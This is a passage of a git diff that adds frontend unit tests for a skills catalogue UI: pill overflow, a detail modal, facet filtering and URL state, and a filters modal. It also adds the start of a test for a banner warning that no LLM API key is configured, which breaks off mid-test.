+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { act, screen, waitFor, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import {
+  SKILL_CARD_PILL_CLASS,
+  SkillCardPillRow,
+} from "#/components/features/skills/skill-card-pill-row";
+
+describe("SkillCardPillRow", () => {
+  const observedCallbacks: ResizeObserverCallback[] = [];
+
+  beforeEach(() => {
+    observedCallbacks.length = 0;
+    vi.stubGlobal(
+      "ResizeObserver",
+      class {
+        constructor(cb: ResizeObserverCallback) {
+          observedCallbacks.push(cb);
+        }
+
+        observe() {
+          const cb = observedCallbacks[observedCallbacks.length - 1];
+          cb?.([], this as unknown as ResizeObserver);
+        }
+
+        disconnect() {}
+
+        unobserve() {}
+      },
+    );
+  });
+
+  afterEach(() => {
+    vi.unstubAllGlobals();
+  });
+
+  function stubWidths(containerWidth: number, pillWidth: number) {
+    const row = screen.getByTestId("skill-triggers-test");
+    Object.defineProperty(row, "clientWidth", {
+      configurable: true,
+      get: () => containerWidth,
+    });
+
+    const measure = row
+      .closest('[data-testid="skill-triggers-test-wrap"]')
+      ?.querySelector('[aria-hidden="true"]') as HTMLElement;
+    Array.from(measure.children).forEach((child) => {
+      Object.defineProperty(child, "offsetWidth", {
+        configurable: true,
+        get: () => pillWidth,
+      });
+    });
+
+    act(() => {
+      for (const cb of observedCallbacks) {
+        cb([], {} as ResizeObserver);
+      }
+    });
+  }
+
+  const pills = [
+    {
+      id: "event-trigger",
+      node: (
+        <span className={SKILL_CARD_PILL_CLASS}>
+          pull_request_review_comment.created (github)
+        </span>
+      ),
+    },
+    {
+      id: "model",
+      node: <span className={SKILL_CARD_PILL_CLASS}>review-fast</span>,
+    },
+  ];
+
+  it("keeps pills on a single nowrap row with overflow handling", () => {
+    renderWithProviders(
+      <SkillCardPillRow testId="skill-triggers-test" pills={pills} />,
+    );
+
+    const row = screen.getByTestId("skill-triggers-test");
+    expect(row).toHaveClass("flex-nowrap");
+    expect(row).toHaveClass("overflow-hidden");
+    expect(row).not.toHaveClass("flex-wrap");
+  });
+
+  it("folds pills that do not fit into a +N popover", async () => {
+    const user = userEvent.setup();
+    renderWithProviders(
+      <SkillCardPillRow testId="skill-triggers-test" pills={pills} />,
+    );
+
+    // Wide enough for one 80px pill + overflow reserve, not two.
+    stubWidths(130, 80);
+
+    await waitFor(() => {
+      expect(
+        screen.getByTestId("skill-triggers-test-overflow"),
+      ).toBeInTheDocument();
+    });
+
+    expect(screen.getByTestId("skill-triggers-test")).toHaveTextContent(
+      "pull_request_review_comment.created (github)",
+    );
+    expect(screen.getByTestId("skill-triggers-test")).not.toHaveTextContent(
+      "review-fast",
+    );
+
+    const overflow = screen.getByTestId("skill-triggers-test-overflow");
+    expect(overflow).toHaveAttribute(
+      "aria-label",
+      "SETTINGS$SKILLS_PILLS_OVERFLOW_ARIA",
+    );
+
+    await user.click(overflow);
+
+    const popover = screen.getByTestId("skill-triggers-test-overflow-popover");
+    expect(popover.parentElement).toBe(document.body);
+    expect(
+      within(popover).getByTestId("skill-triggers-test-overflow-item"),
+    ).toHaveTextContent("review-fast");
+  });
+
+  it("opens the overflow popover without activating a wrapping card", async () => {
+    const user = userEvent.setup();
+    const onActivate = vi.fn();
+
+    renderWithProviders(
+      <div
+        role="link"
+        tabIndex={0}
+        onClick={onActivate}
+        onKeyDown={(event) => {
+          if (event.key === "Enter") onActivate();
+        }}
+      >
+        <SkillCardPillRow testId="skill-triggers-test" pills={pills} />
+      </div>,
+    );
+
+    stubWidths(130, 80);
+
+    await waitFor(() => {
+      expect(
+        screen.getByTestId("skill-triggers-test-overflow"),
+      ).toBeInTheDocument();
+    });
+
+    await user.click(screen.getByTestId("skill-triggers-test-overflow"));
+
+    expect(
+      screen.getByTestId("skill-triggers-test-overflow-popover"),
+    ).toBeInTheDocument();
+    expect(onActivate).not.toHaveBeenCalled();
+  });
+
+  it("anchors the overflow popover below the +N pill", async () => {
+    const user = userEvent.setup();
+    renderWithProviders(
+      <SkillCardPillRow testId="skill-triggers-test" pills={pills} />,
+    );
+
+    stubWidths(130, 80);
+
+    await waitFor(() => {
+      expect(
+        screen.getByTestId("skill-triggers-test-overflow"),
+      ).toBeInTheDocument();
+    });
+
+    const overflow = screen.getByTestId("skill-triggers-test-overflow");
+    vi.spyOn(overflow, "getBoundingClientRect").mockReturnValue({
+      x: 200,
+      y: 100,
+      top: 100,
+      bottom: 118,
+      left: 200,
+      right: 236,
+      width: 36,
+      height: 18,
+      toJSON: () => ({}),
+    });
+
+    await user.click(overflow);
+
+    const popover = screen.getByTestId("skill-triggers-test-overflow-popover");
+    expect(popover).toHaveStyle({
+      position: "fixed",
+      top: "122px",
+      left: "200px",
+    });
+  });
+});
diff --git a/__tests__/components/features/skills/skill-detail-modal.test.tsx b/__tests__/components/features/skills/skill-detail-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..33c21f1e29e505899d77f8e3e5cbe0f125c2167b
--- /dev/null
+++ b/__tests__/components/features/skills/skill-detail-modal.test.tsx
@@ -0,0 +1,154 @@
+import { render, screen, within, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { SkillDetailModal } from "#/components/features/skills/skill-detail-modal";
+import {
+  ADD_SKILL_EXAMPLE_COMMAND,
+  ADD_SKILL_SKILL_NAME,
+} from "#/constants/skills-docs";
+import { useConversationStore } from "#/stores/conversation-store";
+import type { SkillInfo } from "#/types/settings";
+
+const navigateMock = vi.fn();
+
+vi.mock("#/context/navigation-context", () => ({
+  useNavigation: () => ({
+    navigate: navigateMock,
+    currentPath: "/skills",
+    conversationId: null,
+    isNavigating: false,
+  }),
+  NavigationProvider: ({ children }: { children: React.ReactNode }) => children,
+}));
+
+function buildSkill(overrides: Partial<SkillInfo> = {}): SkillInfo {
+  return {
+    name: "deno",
+    type: "knowledge",
+    source: "/skills/deno/SKILL.md",
+    description: "Deno runtime helper",
+    triggers: ["deno"],
+    version: "1.0.0",
+    license: "MIT",
+    compatibility: "Requires Deno 1.40+",
+    metadata: { author: "OpenHands" },
+    allowed_tools: ["bash"],
+    is_agentskills_format: true,
+    disable_model_invocation: false,
+    content: "# Deno\n\nSkill body.",
+    ...overrides,
+  };
+}
+
+describe("SkillDetailModal", () => {
+  beforeEach(() => {
+    navigateMock.mockReset();
+  });
+
+  it("renders metadata fields and closes on request", async () => {
+    const user = userEvent.setup();
+    const onClose = vi.fn();
+    const onToggle = vi.fn();
+    const skill = buildSkill();
+
+    render(
+      <SkillDetailModal
+        skill={skill}
+        enabled
+        onToggle={onToggle}
+        onClose={onClose}
+      />,
+    );
+
+    const modal = screen.getByTestId("skill-detail-modal");
+    expect(
+      within(modal).getByTestId(`skill-modal-name-${skill.name}`),
+    ).toHaveTextContent(skill.name);
+    expect(
+      within(modal).getByTestId(`skill-modal-pill-${skill.name}-version`),
+    ).toBeInTheDocument();
+    expect(
+      within(modal).getByTestId("skill-type-badge-knowledge"),
+    ).toHaveTextContent("SETTINGS$SKILLS_TYPE_KNOWLEDGE");
+    expect(
+      within(modal).getByTestId(
+        `skill-modal-pill-${skill.name}-metadata-author`,
+      ),
+    ).toHaveTextContent("OpenHands");
+    expect(
+      within(modal).getByTestId(`skill-modal-field-content-${skill.name}`),
+    ).toHaveValue(skill.content);
+
+    await user.click(within(modal).getByTestId("skill-detail-close"));
+    expect(onClose).toHaveBeenCalled();
+  });
+
+  it("closes from the top-right close button", async () => {
+    const user = userEvent.setup();
+    const onClose = vi.fn();
+
+    render(
+      <SkillDetailModal
+        skill={buildSkill()}
+        enabled
+        onToggle={vi.fn()}
+        onClose={onClose}
+      />,
+    );
+
+    await user.click(screen.getByTestId("skill-detail-modal-close"));
+    expect(onClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("opens a new chat with the add-skill command from the detail modal", async () => {
+    const user = userEvent.setup();
+    const onClose = vi.fn();
+    const setMessageToSend = vi.fn();
+    useConversationStore.setState({ setMessageToSend });
+
+    render(
+      <SkillDetailModal
+        skill={buildSkill({ name: ADD_SKILL_SKILL_NAME })}
+        enabled
+        onToggle={vi.fn()}
+        onClose={onClose}
+      />,
+    );
+
+    await user.click(
+      screen.getByTestId(`skill-detail-use-skill-${ADD_SKILL_SKILL_NAME}`),
+    );
+
+    expect(onClose).toHaveBeenCalled();
+    expect(navigateMock).toHaveBeenCalledWith("/conversations");
+    await waitFor(() => {
+      expect(setMessageToSend).toHaveBeenCalledWith(ADD_SKILL_EXAMPLE_COMMAND);
+    });
+  });
+
+  it("disables Use skill when the skill is turned off", async () => {
+    const user = userEvent.setup();
+    const setMessageToSend = vi.fn();
+    useConversationStore.setState({ setMessageToSend });
+    const skill = buildSkill({ name: ADD_SKILL_SKILL_NAME });
+
+    render(
+      <SkillDetailModal
+        skill={skill}
+        enabled={false}
+        onToggle={vi.fn()}
+        onClose={vi.fn()}
+      />,
+    );
+
+    const useSkillButton = screen.getByTestId(
+      `skill-detail-use-skill-${skill.name}`,
+    );
+    expect(useSkillButton).toBeDisabled();
+
+    await user.click(useSkillButton);
+
+    expect(navigateMock).not.toHaveBeenCalled();
+    expect(setMessageToSend).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/components/features/skills/skill-facet-rail.test.tsx b/__tests__/components/features/skills/skill-facet-rail.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..0514f669ab9bd62c1c101ccd1615945d9a70af9a
--- /dev/null
+++ b/__tests__/components/features/skills/skill-facet-rail.test.tsx
@@ -0,0 +1,69 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import { I18nKey } from "#/i18n/declaration";
+import { SkillFacetRail } from "#/components/features/skills/skill-facet-rail";
+import type { SkillFacetGroup } from "#/components/features/skills/skill-filter";
+
+function buildGroups(): SkillFacetGroup[] {
+  return [
+    {
+      id: "category",
+      labelKey: I18nKey.SETTINGS$SKILLS_FACET_CATEGORY,
+      rows: [
+        {
+          value: "environment",
+          labelKey: I18nKey.SETTINGS$SKILLS_CATEGORY_ENVIRONMENT,
+          count: 10,
+          checked: false,
+          disabled: false,
+        },
+        {
+          value: "writing",
+          labelKey: I18nKey.SETTINGS$SKILLS_CATEGORY_WRITING,
+          count: 0,
+          checked: false,
+          disabled: true,
+        },
+      ],
+    },
+  ];
+}
+
+describe("SkillFacetRail", () => {
+  it("renders nothing when no group is visible", () => {
+    render(<SkillFacetRail groups={[]} onToggle={vi.fn()} />);
+    expect(screen.queryByTestId("skill-facet-rail")).not.toBeInTheDocument();
+  });
+
+  it("renders each row with its count and checked state", () => {
+    render(<SkillFacetRail groups={buildGroups()} onToggle={vi.fn()} />);
+
+    const row = screen.getByTestId("skill-facet-category-environment");
+    expect(row).toHaveAttribute("aria-checked", "false");
+    expect(row).toHaveTextContent("10");
+    expect(
+      screen.getByTestId("skill-facet-group-category"),
+    ).toBeInTheDocument();
+  });
+
+  it("reports the group and value when a row is clicked", async () => {
+    const user = userEvent.setup();
+    const onToggle = vi.fn();
+    render(<SkillFacetRail groups={buildGroups()} onToggle={onToggle} />);
+
+    await user.click(screen.getByTestId("skill-facet-category-environment"));
+
+    expect(onToggle).toHaveBeenCalledWith("category", "environment");
+  });
+
+  it("does not report clicks on a disabled zero-count row", async () => {
+    const user = userEvent.setup();
+    const onToggle = vi.fn();
+    render(<SkillFacetRail groups={buildGroups()} onToggle={onToggle} />);
+
+    await user.click(screen.getByTestId("skill-facet-category-writing"));
+
+    expect(onToggle).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/components/features/skills/skill-filter.test.ts b/__tests__/components/features/skills/skill-filter.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..d88fbaf109b87e4a0a5399008c9f63b5eccc969a
--- /dev/null
+++ b/__tests__/components/features/skills/skill-filter.test.ts
@@ -0,0 +1,408 @@
+import { describe, expect, it } from "vitest";
+import { I18nKey } from "#/i18n/declaration";
+import type { SkillInfo } from "#/types/settings";
+import {
+  applySkillFilters,
+  buildSkillFacetGroups,
+  clearSkillFilterFacets,
+  countActiveFilters,
+  EMPTY_SKILL_FILTER_STATE,
+  parseSkillFilterState,
+  toggleSkillFilterValue,
+  toSkillFilterSearchParams,
+  type SkillFilterState,
+} from "#/components/features/skills/skill-filter";
+
+function buildSkill(overrides: Partial<SkillInfo> = {}): SkillInfo {
+  return {
+    name: "deno",
+    type: "knowledge",
+    source: "public",
+    category: "environment",
+    description: "Initialize and work with Deno projects.",
+    triggers: ["deno"],
+    ...overrides,
+  };
+}
+
+/** Public env skill, public writing skill, personal repo skill. */
+function buildMixedSkills(): SkillInfo[] {
+  return [
+    buildSkill({ name: "deno", category: "environment", type: "knowledge" }),
+    buildSkill({
+      name: "prd",
+      category: "writing",
+      type: "knowledge",
+      description: "Generate a Product Requirements Document.",
+      triggers: [],
+    }),
+    buildSkill({
+      name: "house-rules",
+      category: null,
+      type: "repo",
+      source: "/home/dev/.agents/skills/house-rules/SKILL.md",
+      description: "Local conventions.",
+      triggers: [],
+    }),
+  ];
+}
+
+/**
+ * The filter helpers take enablement as a predicate — resolving the allow-list
+ * and deny-list behind it is the caller's job — so these tests express the
+ * cases they care about as a deny-set.
+ */
+function enabledExcept(...names: string[]) {
+  const denied = new Set(names);
+  return (skill: SkillInfo) => !denied.has(skill.name);
+}
+
+function stateWith(
+  overrides: Partial<SkillFilterState> = {},
+): SkillFilterState {
+  return { ...EMPTY_SKILL_FILTER_STATE, ...overrides };
+}
+
+describe("parseSkillFilterState", () => {
+  it("reads every facet plus the query", () => {
+    const state = parseSkillFilterState(
+      new URLSearchParams(
+        "q=deno&source=personal&source=public&category=environment&type=repo&state=disabled&recommendation=recommended",
+      ),
+    );
+
+    expect(state.query).toBe("deno");
+    expect([...state.sources]).toEqual(["personal", "public"]);
+    expect([...state.categories]).toEqual(["environment"]);
+    expect([...state.types]).toEqual(["repo"]);
+    expect([...state.states]).toEqual(["disabled"]);
+    expect([...state.recommendations]).toEqual(["recommended"]);
+  });
+
+  it.each([
+    ["source", "source=nonsense"],
+    ["category", "category=code-hostig"],
+    ["type", "type=bogus"],
+    ["state", "state=maybe"],
+    ["recommendation", "recommendation=maybe"],
+  ])("drops unknown %s values instead of erroring", (_label, search) => {
+    const state = parseSkillFilterState(new URLSearchParams(search));
+    expect(countActiveFilters(state)).toBe(0);
+  });
+
+  it("round-trips through toSkillFilterSearchParams in canonical order", () => {
+    const search =
+      "q=deno&source=project&source=public&category=environment&category=writing";
+    const state = parseSkillFilterState(new URLSearchParams(search));
+
+    expect(toSkillFilterSearchParams(state).toString()).toBe(
+      new URLSearchParams(search).toString(),
+    );
+  });
+
+  it("omits empty facets so an unfiltered page has a bare URL", () => {
+    expect(toSkillFilterSearchParams(EMPTY_SKILL_FILTER_STATE).toString()).toBe(
+      "",
+    );
+  });
+});
+
+describe("applySkillFilters", () => {
+  const skills = buildMixedSkills();
+  const isEnabled = enabledExcept("prd");
+
+  it("ORs values within a group", () => {
+    const result = applySkillFilters(
+      skills,
+      isEnabled,
+      stateWith({ categories: new Set(["environment", "writing"]) }),
+    );
+    expect(result.map((s) => s.name)).toEqual(["deno", "prd"]);
+  });
+
+  it("ANDs across groups", () => {
+    const result = applySkillFilters(
+      skills,
+      isEnabled,
+      stateWith({
+        categories: new Set(["environment", "writing"]),
+        states: new Set(["disabled"]),
+      }),
+    );
+    expect(result.map((s) => s.name)).toEqual(["prd"]);
+  });
+
+  it("treats a category-less skill as other", () => {
+    const result = applySkillFilters(
+      skills,
+      isEnabled,
+      stateWith({ categories: new Set(["other"]) }),
+    );
+    expect(result.map((s) => s.name)).toEqual(["house-rules"]);
+  });
+
+  it("matches the query against name, description, and triggers", () => {
+    expect(
+      applySkillFilters(
+        skills,
+        isEnabled,
+        stateWith({ query: "Requirements" }),
+      ).map((s) => s.name),
+    ).toEqual(["prd"]);
+    expect(
+      applySkillFilters(skills, isEnabled, stateWith({ query: "deno" })).map(
+        (s) => s.name,
+      ),
+    ).toEqual(["deno"]);
+  });
+
+  it("returns everything when no facet is selected", () => {
+    expect(
+      applySkillFilters(skills, isEnabled, EMPTY_SKILL_FILTER_STATE),
+    ).toHaveLength(3);
+  });
+});
+
+describe("buildSkillFacetGroups", () => {
+  it("hides a group whose values cannot discriminate", () => {
+    const publicOnly = [
+      buildSkill({ name: "deno", category: "environment" }),
+      buildSkill({ name: "uv", category: "environment" }),
+    ];
+
+    const groups = buildSkillFacetGroups(
+      publicOnly,
+      enabledExcept(),
+      EMPTY_SKILL_FILTER_STATE,
+    );
+
+    // Every skill is public, knowledge-typed, environment-categorised and
+    // enabled, so no group has two non-empty values.
+    expect(groups).toEqual([]);
+  });
+
+  it("keeps a group visible when its only selected value has no matches for this user", () => {
+    // Reproduces sharing a `?source=project` URL with someone who has no project skills: hiding the group would enforce the filter with no row left to undo it.
+    const publicOnly = [
+      buildSkill({ name: "deno", source: "public" }),
+      buildSkill({ name: "uv", source: "public" }),
+    ];
+
+    const groups = buildSkillFacetGroups(
+      publicOnly,
+      enabledExcept(),
+      stateWith({ sources: new Set(["project"]) }),
+    );
+
+    const source = groups.find((g) => g.id === "source");
+    expect(source).toBeDefined();
+    expect(source!.rows.find((r) => r.value === "project")).toMatchObject({
+      checked: true,
+      count: 0,
+    });
+  });
+
+  it("shows groups once a second value exists", () => {
+    const groups = buildSkillFacetGroups(
+      buildMixedSkills(),
+      enabledExcept("prd"),
+      EMPTY_SKILL_FILTER_STATE,
+    );
+
+    expect(groups.map((g) => g.id)).toEqual([
+      "state",
+      "source",
+      "category",
+      "type",
+    ]);
+  });
+
+  it("labels rows with i18n keys rather than translated text", () => {
+    const groups = buildSkillFacetGroups(
+      buildMixedSkills(),
+      enabledExcept("prd"),
+      EMPTY_SKILL_FILTER_STATE,
+    );
+    const category = groups.find((g) => g.id === "category")!;
+
+    expect(category.labelKey).toBe(I18nKey.SETTINGS$SKILLS_FACET_CATEGORY);
+    expect(category.rows.map((r) => r.value)).toEqual([
+      "environment",
+      "writing",
+      "other",
+    ]);
+    expect(category.rows[0]!.labelKey).toBe(
+      I18nKey.SETTINGS$SKILLS_CATEGORY_ENVIRONMENT,
+    );
+  });
+
+  it("counts rows against other groups but not the group's own selection", () => {
+    const groups = buildSkillFacetGroups(
+      buildMixedSkills(),
+      enabledExcept("prd"),
+      stateWith({ states: new Set(["enabled"]) }),
+    );
+
+    const category = groups.find((g) => g.id === "category")!;
+    const byValue = Object.fromEntries(
+      category.rows.map((r) => [r.value, r.count]),
+    );
+
+    // The `state` selection narrows Category, dropping the disabled `prd`.
+    expect(byValue).toEqual({ environment: 1, writing: 0, other: 1 });
+
+    // The `state` group ignores its own selection, so both rows keep counts.
+    const state = groups.find((g) => g.id === "state")!;
+    expect(state.rows.map((r) => r.count)).toEqual([2, 1]);
+  });
+
+  it("keeps a different group's visibility stable while one facet narrows", () => {
+    const skills = buildMixedSkills();
+    const isEnabled = enabledExcept("prd");
+
+    const narrowed = buildSkillFacetGroups(
+      skills,
+      isEnabled,
+      stateWith({ categories: new Set(["environment"]) }),
+    );
+
+    // Only `deno` survives, leaving Source and Type one value each among the matches; visibility comes from the raw list, so both groups still render.
+    expect(narrowed.map((g) => g.id)).toEqual(
+      expect.arrayContaining(["source", "type"]),
+    );
+  });
+
+  it("keeps group visibility stable while a search query narrows results", () => {
+    const skills = buildMixedSkills();
+    const isEnabled = enabledExcept("prd");
+    const unfiltered = buildSkillFacetGroups(
+      skills,
+      isEnabled,
+      EMPTY_SKILL_FILTER_STATE,
+    );
+
+    // "Requirements" matches only `prd`, so a query-filtered denominator would collapse every group to one value.
+    const narrowed = buildSkillFacetGroups(
+      skills,
+      isEnabled,
+      stateWith({ query: "Requirements" }),
+    );
+
+    expect(narrowed.map((g) => g.id)).toEqual(unfiltered.map((g) => g.id));
+  });
+
+  it("adds a recommendation group once the catalog flags one of the skills", () => {
+    // `add-skill` carries `defaultEnabled` in the bundled catalog; `deno` does
+    // not, which is what gives the group two discriminating values.
+    const groups = buildSkillFacetGroups(
+      [buildSkill({ name: "add-skill" }), buildSkill({ name: "deno" })],
+      enabledExcept(),
+      EMPTY_SKILL_FILTER_STATE,
+    );
+
+    const recommendation = groups.find((g) => g.id === "recommendation")!;
+    expect(recommendation.labelKey).toBe(
+      I18nKey.SETTINGS$SKILLS_FACET_RECOMMENDATION,
+    );
+    expect(recommendation.rows.map((r) => [r.value, r.count])).toEqual([
+      ["recommended", 1],
+      ["other", 1],
+    ]);
+  });
+
+  it("filters down to the catalog's recommended skills", () => {
+    const skills = [
+      buildSkill({ name: "add-skill" }),
+      buildSkill({ name: "deno" }),
+    ];
+
+    expect(
+      applySkillFilters(
+        skills,
+        enabledExcept(),
+        stateWith({ recommendations: new Set(["recommended"]) }),
+      ).map((s) => s.name),
+    ).toEqual(["add-skill"]);
+  });
+
+  it("disables a zero-count row unless it is checked", () => {
+    const groups = buildSkillFacetGroups(
+      buildMixedSkills(),
+      enabledExcept("prd"),
+      stateWith({ states: new Set(["enabled"]) }),
+    );
+    const rows = groups.find((g) => g.id === "category")!.rows;
+
+    expect(rows.find((r) => r.value === "writing")).toMatchObject({
+      count: 0,
+      checked: false,
+      disabled: true,
+    });
+  });
+});
+
+describe("toggleSkillFilterValue", () => {
+  it("adds then removes a value without mutating the input", () => {
+    const initial = EMPTY_SKILL_FILTER_STATE;
+    const added = toggleSkillFilterValue(initial, "category", "writing");
+    const removed = toggleSkillFilterValue(added, "category", "writing");
+
+    expect([...added.categories]).toEqual(["writing"]);
+    expect([...removed.categories]).toEqual([]);
+    expect([...initial.categories]).toEqual([]);
+  });
+
+  it("ignores a value that is not legal for the group", () => {
+    const next = toggleSkillFilterValue(
+      EMPTY_SKILL_FILTER_STATE,
+      "type",
+      "nonsense",
+    );
+    expect(countActiveFilters(next)).toBe(0);
+  });
+
+  it.each([
+    ["source", "sources", "project"],
+    ["state", "states", "disabled"],
+  ] as const)(
+    "toggles a %s value into its own set, leaving the rest empty",
+    (groupId, key, value) => {
+      const next = toggleSkillFilterValue(
+        EMPTY_SKILL_FILTER_STATE,
+        groupId,
+        value,
+      );
+
+      // Catches a branch writing to the wrong field: either the intended set stays empty, or an unintended one gains the value.
+      const collections = ["sources", "categories", "types", "states"] as const;
+      for (const collection of collections) {
+        const expected = collection === key ? [value] : [];
+        expect([...next[collection]]).toEqual(expected);
+      }
+    },
+  );
+});
+
+describe("clearSkillFilterFacets and countActiveFilters", () => {
+  it("clears facets but keeps the query", () => {
+    const state = stateWith({
+      query: "deno",
+      categories: new Set(["writing"]),
+      types: new Set(["repo"]),
+    });
+
+    const cleared = clearSkillFilterFacets(state);
+
+    expect(cleared.query).toBe("deno");
+    expect(countActiveFilters(cleared)).toBe(0);
+  });
+
+  it("does not count the query as a filter", () => {
+    expect(countActiveFilters(stateWith({ query: "deno" }))).toBe(0);
+    expect(
+      countActiveFilters(
+        stateWith({ query: "deno", categories: new Set(["writing"]) }),
+      ),
+    ).toBe(1);
+  });
+});
diff --git a/__tests__/components/features/skills/skill-filters-modal.test.tsx b/__tests__/components/features/skills/skill-filters-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..87f44412f50e6c83536067446277fe7f64e270d1
--- /dev/null
+++ b/__tests__/components/features/skills/skill-filters-modal.test.tsx
@@ -0,0 +1,90 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import { I18nKey } from "#/i18n/declaration";
+import { SkillFiltersModal } from "#/components/features/skills/skill-filters-modal";
+import type { SkillFacetGroup } from "#/components/features/skills/skill-filter";
+
+function buildGroups(): SkillFacetGroup[] {
+  return [
+    {
+      id: "type",
+      labelKey: I18nKey.SETTINGS$SKILLS_FACET_TYPE,
+      rows: [
+        {
+          value: "repo",
+          labelKey: I18nKey.SETTINGS$SKILLS_TYPE_REPO,
+          count: 1,
+          checked: false,
+          disabled: false,
+        },
+        {
+          value: "knowledge",
+          labelKey: I18nKey.SETTINGS$SKILLS_TYPE_KNOWLEDGE,
+          count: 2,
+          checked: false,
+          disabled: false,
+        },
+      ],
+    },
+  ];
+}
+
+describe("SkillFiltersModal", () => {
+  it("toggles a facet through the same rail the desktop uses", async () => {
+    const user = userEvent.setup();
+    const onToggle = vi.fn();
+
+    render(
+      <SkillFiltersModal
+        groups={buildGroups()}
+        activeCount={0}
+        onToggle={onToggle}
+        onClearAll={vi.fn()}
+        onClose={vi.fn()}
+      />,
+    );
+
+    await user.click(screen.getByTestId("skill-facet-type-repo"));
+
+    expect(onToggle).toHaveBeenCalledWith("type", "repo");
+  });
+
+  it("hides the clear action when nothing is filtered", () => {
+    render(
+      <SkillFiltersModal
+        groups={buildGroups()}
+        activeCount={0}
+        onToggle={vi.fn()}
+        onClearAll={vi.fn()}
+        onClose={vi.fn()}
+      />,
+    );
+
+    expect(
+      screen.queryByTestId("skill-filters-modal-clear"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("clears filters and closes on demand", async () => {
+    const user = userEvent.setup();
+    const onClearAll = vi.fn();
+    const onClose = vi.fn();
+
+    render(
+      <SkillFiltersModal
+        groups={buildGroups()}
+        activeCount={2}
+        onToggle={vi.fn()}
+        onClearAll={onClearAll}
+        onClose={onClose}
+      />,
+    );
+
+    await user.click(screen.getByTestId("skill-filters-modal-clear"));
+    expect(onClearAll).toHaveBeenCalled();
+
+    await user.click(screen.getByTestId("skill-filters-modal-done"));
+    expect(onClose).toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/components/home/llm-not-configured-banner.test.tsx b/__tests__/components/home/llm-not-configured-banner.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..13177d16b096932467e4b2a042ad2ef89b25a439
--- /dev/null
+++ b/__tests__/components/home/llm-not-configured-banner.test.tsx
@@ -0,0 +1,243 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+import { LlmNotConfiguredBanner } from "#/components/features/home/llm-not-configured-banner";
+import { NavigationProvider } from "#/context/navigation-context";
+import { useSettings } from "#/hooks/query/use-settings";
+import { useConfig } from "#/hooks/query/use-config";
+import { useLlmProfiles } from "#/hooks/query/use-llm-profiles";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import OptionService from "#/api/option-service/option-service.api";
+import ProfilesService from "#/api/profiles-service/profiles-service.api";
+import AgentProfilesService from "#/api/agent-profiles-service/agent-profiles-service.api";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+import { Settings } from "#/types/settings";
+import { WebClientConfig } from "#/api/option-service/option.types";
+
+function buildSettings(overrides: Partial<Settings> = {}): Settings {
+  return {
+    ...MOCK_DEFAULT_USER_SETTINGS,
+    ...overrides,
+    agent_settings:
+      overrides.agent_settings ?? MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+  };
+}
+
+function buildConfig(hideLlmSettings = false): WebClientConfig {
+  return {
+    feature_flags: {
+      hide_llm_settings: hideLlmSettings,
+      hide_users_page: true,
+    },
+    providers_configured: [],
+    maintenance_start_time: null,
+    recaptcha_site_key: null,
+    faulty_models: [],
+    error_message: null,
+    updated_at: "2026-01-01T00:00:00.000Z",
+  };
+}
+
+// Renders the banner next to a probe that flips on once both underlying
+// queries have resolved. The "hidden" assertions wait on this marker so they
+// observe the settled state rather than the (always-empty) loading frame.
+function ProbedBanner() {
+  const settings = useSettings();
+  const config = useConfig();
+  const profiles = useLlmProfiles();
+  return (
+    <>
+      <LlmNotConfiguredBanner />
+      {settings.isFetched && config.isFetched && profiles.isFetched ? (
+        <div data-testid="queries-settled" />
+      ) : null}
+    </>
+  );
+}
+
+function renderBanner() {
+  const navigate = vi.fn();
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  render(
+    <QueryClientProvider client={queryClient}>
+      <NavigationProvider
+        value={{
+          currentPath: "/",
+          conversationId: null,
+          isNavigating: false,
+          navigate,
+        }}
+      >
+        <ProbedBanner />
+      </NavigationProvider>
+    </QueryClientProvider>,
+  );
+  return { navigate };
+}
+
+describe("LlmNotConfiguredBanner", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    vi.spyOn(OptionService, "getConfig").mockResolvedValue(buildConfig());
+    vi.spyOn(ProfilesService, "listProfiles").mockResolvedValue({
+      profiles: [],
+      active_profile: null,
+    });
+  });
+
+  it("warns the user when no LLM API key is set (the skip-onboarding case)", async () => {
+    // Arrange: an OpenHands agent with no key — what "Skip for now" leaves.
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({ llm_api_key_set: false }),
+    );
+
+    // Act
+    renderBanner();
+
+    // Assert
+    expect(
+      await screen.findByTestId("home-llm-not-configured-banner"),
+    ).toBeInTheDocument();
+  });
+
+  it("warns when only a stale settings key is set but no active profile (local)", async () => {
+    // Arrange: the delete-all state — agent_settings still holds a key, but no
+    // profile backs it. In local mode profiles are the source of truth, so a
+    // lingering settings key must not count as configured.
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({ llm_api_key_set: true }),
+    );
+
+    // Act
+    renderBanner();
+
+    // Assert
+    expect(
+      await screen.findByTestId("home-llm-not-configured-banner"),
+    ).toBeInTheDocument();
+  });
+
+  it("stays hidden once an active LLM profile has a saved API key", async () => {
+    // Arrange: the profile endpoint is the source of truth for the active
+    // profile shown in LLM settings, even if the legacy settings flag is stale.
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({ llm_api_key_set: false }),
